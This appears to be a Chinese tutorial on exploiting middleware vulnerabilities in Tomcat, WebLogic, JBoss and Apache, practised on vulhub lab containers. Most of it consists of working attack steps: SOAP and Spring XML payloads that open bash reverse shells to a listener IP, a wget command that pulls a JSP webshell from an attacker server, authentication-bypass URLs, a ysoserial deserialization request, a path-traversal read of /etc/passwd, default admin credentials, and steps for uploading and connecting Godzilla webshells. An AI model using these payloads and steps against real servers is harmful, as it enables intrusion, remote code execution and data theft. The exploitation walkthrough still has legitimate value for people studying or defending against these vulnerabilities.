Tomcat,WebLogic等中间件漏洞实战解析

1.tomact

CVE-2017-12615

首先启动环境,这里所有的漏洞都是在vulhub中的

然后去访问我们的网站

点击打开哥斯拉去生成一个jsp木马

然后打开抓包,刷新一下页面,修改put方法将我们的木马上传一下,这里需要在jsp后加一个/,来绕过对jsp文件的上传限制

然后去访问一下我们上传的1.jsp

可以看到访问成功,我们去用哥斯拉链接一下

后台弱口令部署war包

这里需要启动tomcat8,我们cd到tomcat8中启动一下环境

然后去访问一下

通过弱口令我们登录到后台,点击managerapp,账号密码都为tomcat

登录好后我们将我们上一关所生成的jsp木马压缩一下,修改一下后缀

点击一下,图示所指向的list,然后就可以在下方上传文件了,将我们的war包上传上去

访问一下我们的war包中的jsp文件

最后使用哥斯拉连接即可

CVE-2020-1938

首先cd到我们的CVE-2020-1938中,然后启动环境

这里我们使用脚本来进行

cmd运行我们的脚本文件,注意这里需要用到python2

运行我们的脚本

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶场的IP

就可以读取到文件了

2.WebLogic

后台弱口令getshell

首先cd到我们的靶场并启动

cd vulhub-master/weblogic/weak_password
docker-compose up -d

访问一下7001端口,这个页面就是开启成功了

我们访问一下console目录,等一会我们的后台登录页面就启动好了

使用弱口令登录即可

weblogic Oracle@123
然后就可以跳到后台页面,这里我们点击部署然后点安装
会跳转到上传的界面
点击上载文件,然后浏览
上传我们之前的war包即可
然后一直点击下一步,到这个页面时点击安装即可
然后就可以看到我们的war包已经被上传成功
然后访问1/1.jsp路径即可访问到我们的jsp木马,使用哥斯拉连接即可

CVE-2017-3506

这个漏洞依旧使用我们上个漏洞开的环境,去访问一下/wls-wsat/CoordinatorPortType,如果存在即有这个漏洞

然后我们就可以构造post请求来反弹shell了,刷新页面然后抓包

然后右键修改请求方法为post方法,这里我们发送到重放器中便于操作

然后添加我们的请求字段同时修改一下请求格式

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/监听机的IP/监听的端口 0&gt;&amp;1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

然后开启监听,点击发送即可反弹shell

CVE-2019-2725

这一个漏洞和上一个的步骤都差不多,我们依旧是利用weak_password这个容器

首先我们拼接这个字段/_async/AsyncResponseService来验证一下漏洞是否存在

出现上述页面即为存在,然后和上一个一样,刷新然后开启抓包

修改为POST请求然后发送到重放器,写入我们的请求包,修改类型和上一个一样为text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://服务器IP/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意这里,我们需要在我们的服务器上开启http服务,将我们的木马文件改为txt模式,上传到我们的网站中,让他从我们的网站中下载我们的木马文件,并保存为22.jsp

点击发送即可,可以根据这里的完成判断有没有上传成功

然后访问这个路径即可访问到我们的木马文件,然后去哥斯拉连接即可

CVE-2018-2628

首先启动环境

访问一下

这里我们直接利用工具箱

CVE-2018-2894

首先启动环境

cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

然后我们需要先获取一下密码,因为这一关的密码是随机生成的

然后使用我们的密码去登录即可

然后进入到后台界面,点击base然后再点击高级

然后勾选这个

然后在IP端口后拼接这个目录

修改箭头所指的位置为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交,然后点击安全,点击添加

然后上传我们的木马脚本文件

F12查看一下ID在代码中所对应的值

然后去拼接路径,就可以访问到我们的木马,哥斯拉连接即可

CVE-2020-14882

首先启动环境

cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

通过这个连接可以访问管理控制台,但是需要我们登录

http://IP:端口/console/login/LoginForm.jsp
那么我们可以利用拼接这个路径来进行绕过登录
/console/css/%252e%252e%252fconsole.portal
然后我们可以利用另一个漏洞来远程加载xml文件获取shell通过这个路径来
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

连接两个漏洞

然后就可以构造一个恶意类让他去访问

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/监听的IP/8888 0>&1]]></value></list></constructor-arg></bean></beans>

然后通过这个让我们的靶场去访问这个实体类从而反弹shell

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启http服务的ip/1.xml")

3.Jboss

CVE-2015-7501

启动环境

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

然后去访问

然后拼接这个地址

/invoker/JMXInvokerServlet,如果如下图所示即为存在环境
这里我们利用ysoserial工具来进行操作
https://github.com/frohoff/ysoserial
将反弹shell的语句进行base64编码
然后利用我们的工具生成一个ser文件
然后开启监听,执行这段命令,即可反弹shell
curl http://靶场IP/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d
访问页面
http://靶场IP:端口/jbossmq-httpil/HTTPServerILServlet
然后利用我们的脚本进行攻击
即可反弹shell

CVE-2017-12149

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个地址,如果页面是这个样子即为存在漏洞

http://靶场IP:端口/invoker/readonly

然后利用我们的工具即可https://github.com/yunxu1/jboss-_CVE-2017-12149

Administration Console弱口令

环境沿用上一个

拼接路径去访问一下登录界面

admin vulhub账号和密码,登陆后点击
上传我们之前的war包,然后步骤一样,访问然后连接

低版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问这个

账号密码都是admin,登录之后选择这个

然后开启一个http服务,然后将我们的war包上传到网站根目录,将连接写在value栏

注意这里制作war时需要注意,压缩包的名字必须为英文,且与里面的jsp文件不能同名

然后去访问,然后连接哥斯拉即可

⾼版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个路径

账号密码admin vulhub,点击这两个地方

然后在这里,和上一关一样,上传我们服务器的war包

然后访问,哥斯拉连接即可

4.Apache

CVE-2021-41773

这一关需要我们拉取环境

docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

然后用命令即可查看网站上的文件

curl http://靶场IP/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/93721.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/93721.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

15、点云<—>深度图转换原理

* 定义虚拟相机分辨率. Width := 800 Height := 800* 定义一个系数用于在3D模型中计算图像的边缘 BorderFact := 1.5* 是否选择镜头. IsTelecentric := false GenParamName := [lut,intensity,disp_pose_0,alpha_0,disp_background] GenParamValue := [hsi,coord_z,true,0.3,tr…

大疆无人机开发:MQTT 赋能机场系统集成的Java实战之旅

目录 集成实现步骤​ 项目初始化​ MQTT 连接配置​ 大疆无人机与 MQTT 集成​ 机场系统功能实现​ 代码实战与案例分析​ 示例代码展示​ 案例分析​ 数据格式不匹配问题​ 指令冲突问题​ 性能优化与安全保障​ 性能优化策略​ 安全保障措施​ 集成实现步骤​ …

逻辑回归详解:从数学原理到实际应用

文章目录一、逻辑回归的核心思想&#xff1a;从线性到概率1. 线性回归的局限与突破Sigmoid函数特性&#xff08;代码可视化&#xff09;&#xff1a;2. 逻辑回归的预测公式二、损失函数&#xff1a;如何学习最优参数&#xff1f;1. 对数损失函数的数学定义损失函数解析&#xf…

粒子群优化算法(Particle Swarm Optimization, PSO) 求解二维 Rastrigin 函数最小值问题

前言 提醒&#xff1a; 文章内容为方便作者自己后日复习与查阅而进行的书写与发布&#xff0c;其中引用内容都会使用链接表明出处&#xff08;如有侵权问题&#xff0c;请及时联系&#xff09;。 其中内容多为一次书写&#xff0c;缺少检查与订正&#xff0c;如有问题或其他拓展…

【GitHub Workflows 基础(二)】深入理解 on、jobs、steps 的核心语法与执行逻辑

&#x1f4d8; GitHub Workflows 基础&#xff08;二&#xff09;&#xff1a;深入理解 on、jobs、steps 的核心语法与执行逻辑继第一篇讲完 .github/workflows/ 中多个工作流的结构后&#xff0c;本篇将深入 GitHub Actions 的核心三要素&#xff1a;on&#xff08;触发器&…

React Filber及核心原理

1. React Fiber 的核心目标‌‌增量渲染‌&#xff1a;将大型更新拆解为可中断的小任务&#xff08;时间切片&#xff09;&#xff0c;避免阻塞主线程‌优先级调度‌&#xff1a;动态管理任务执行顺序&#xff08;如用户交互 > 动画 > 数据加载&#xff09;。与浏览器协作…

Shader开发(五)什么是渲染管线

在计算机图形学中&#xff0c;渲染管线&#xff08;Rendering Pipeline&#xff09; 是图形处理器&#xff08;GPU&#xff09;将3D网格数据转化为屏幕图像的核心流程。无论是炫酷的游戏画面还是逼真的动画场景&#xff0c;这一切都离不开渲染管线的默默工作。对于想要学习着色…

CentOS7 使用Docker安装MinIO完整教程

目录 1. MinIO简介 什么是MinIO? 为什么选择Docker安装? 2. 环境准备 检查Docker状态 检查防火墙设置 创建存储目录 3. 快速启动MinIO 基础启动命令 验证启动状态 4. 配置持久化存储 停止并删除临时容器 使用数据卷启动MinIO 验证数据持久化 5. 访问MinIO控制台…

【数据库】时序数据库选型指南:从大数据视角看IoTDB的核心优势

文章目录前言-官网链接一、时序数据管理的时代挑战二、时序数据库选型的六大核心维度1. 数据模型设计2. 写入与查询性能3. 存储效率4. 系统扩展性5. 生态兼容性6. 运维复杂度三、IoTDB的技术架构解析1. 存储引擎创新2. 计算引擎优势3. 分布式架构设计四、行业解决方案对比1. 能…

【25-cv-08364】Keith携Hello Angel版权图发案

Hello Angel版权图案件号&#xff1a;25-cv-08364起诉时间&#xff1a;2025/7/22原告&#xff1a;Angelea Clark Van Dam原告律所&#xff1a;Keith受理法院&#xff1a;伊利诺伊州北区地方法院原告介绍原告是是一位来自澳大利亚的艺术家&#xff0c;笔名为Hello Angel&#xf…

SkSurface---像素的容器:表面

如果说 SkCanvas 是画布&#xff0c;是所有绘图操作的提供者的话&#xff0c;那么 SkSurface 就是画布的容器&#xff0c;我们称之为表面&#xff0c;它负责管理画布对应的像素数据。这些像素数据可以是在内存中创建的&#xff0c;也可以是在 GPU 显存中创建的。创建一个空白表…

26.(vue3.x+vite)以pinia为中心的开发模板

效果截图 代码实现 HelloWorld.vue <template><div style="padding: 20px;">介绍:<br>1:使用class 来减少pinia(store)的代码量<br>

华为AI Agent智能园艺助手开发案例

一、引言与行业背景 在数字化与智能化日益渗透我们生活的今天&#xff0c;园艺这一传统而充满生机的领域&#xff0c;也迎来了智能化的革新。华为AI Agent智能园艺助手通过融合人工智能与园艺专业知识&#xff0c;为用户提供一站式、个性化的园艺养护解决方案&#xff0c;彻底改…

Linux Flathub软件管理方法 使用指南

Flathub 使用指南&#xff1a;软件安装、管理及常用软件推荐 一. 什么是 Flathub&#xff1f; Flathub 是 Flatpak 应用程序的主要分发中心&#xff0c;类似于 Linux 上的"应用商店"。它提供了一种跨发行版的软件打包和分发方式&#xff0c;让用户可以在任何 Linux 发…

GitLab 18.2 发布几十项与 DevSecOps 有关的功能,可升级体验【二】

沿袭我们的月度发布传统&#xff0c;极狐GitLab 发布了 18.2 版本&#xff0c;该版本带来了议题和任务的自定义工作流状态、新的合并请求主页、新的群组概览合规仪表盘、下载安全报告的 PDF 导出文件、中心化的安全策略管理&#xff08;Beta&#xff09;等几十个重点功能的改进…

​​免费语音转换服务(TTS)全面指南

​​​​1. TTS技术概述​​ TTS&#xff08;Text-to-Speech&#xff09;通过AI将文字转化为自然语音&#xff0c;核心技术包括​​深度神经网络&#xff08;DNN&#xff09;​​、​​语音韵律建模​​和​​声学合成​​。其核心优势在于&#xff1a; ​​多语言支持​​&a…

正则化都是放在模型的哪个位置呢?

✅ 什么是“正则化”&#xff1f;在神经网络中&#xff0c;正则化&#xff08;Regularization&#xff09; 抑制过拟合的技巧 目的是让模型在训练集和测试集上都表现得好&#xff08;泛化能力强&#xff09;。&#x1f9e0; 常见的正则化手段包括&#xff1a;方法类型通常放在哪…

Python毕业设计 | 基于协同过滤的智能商品推荐与数据大屏系统(Vue+Flask+Scikit-learn,附源码+文档)

个人介绍&#x1f3af; 毕业设计私人教练 专注计算机毕设辅导第 6 年&#xff0c;累计 1v1 带飞 800 同学顺利通关。从选题、开题、代码、论文到答辩&#xff0c;一条龙陪跑&#xff1b;擅长把导师的 “模糊要求” 变成能落地的技术方案。白天写方案&#xff0c;晚上改论文&…

基于千问2.5-VL-7B训练识别人的表情

一、安装LLaMA-Factory 我们使用LLaMA-Factory来进行微调&#xff0c;安装LLaMA-Factory来参考文章&#xff1a; 大模型微调工具LLaMA-Factory的安装流程-CSDN博客 二、下载千问2.5-VL-7B模型 我们使用千问2.5-VL-7B多模态模型来进行微调 通义千问2.5-VL-7B-Instruct 下载…

Android屏幕适配:从dp到px的转换与今日头条适配方案详解

前言 在Android开发中&#xff0c;屏幕适配一直是一个重要且复杂的话题。不同设备有着不同的屏幕尺寸、分辨率和像素密度&#xff0c;如何让应用在各种设备上都能良好显示&#xff0c;是每个开发者都需要面对的问题。本文将深入探讨Android系统中dp到px的转换原理&#xff0c;并…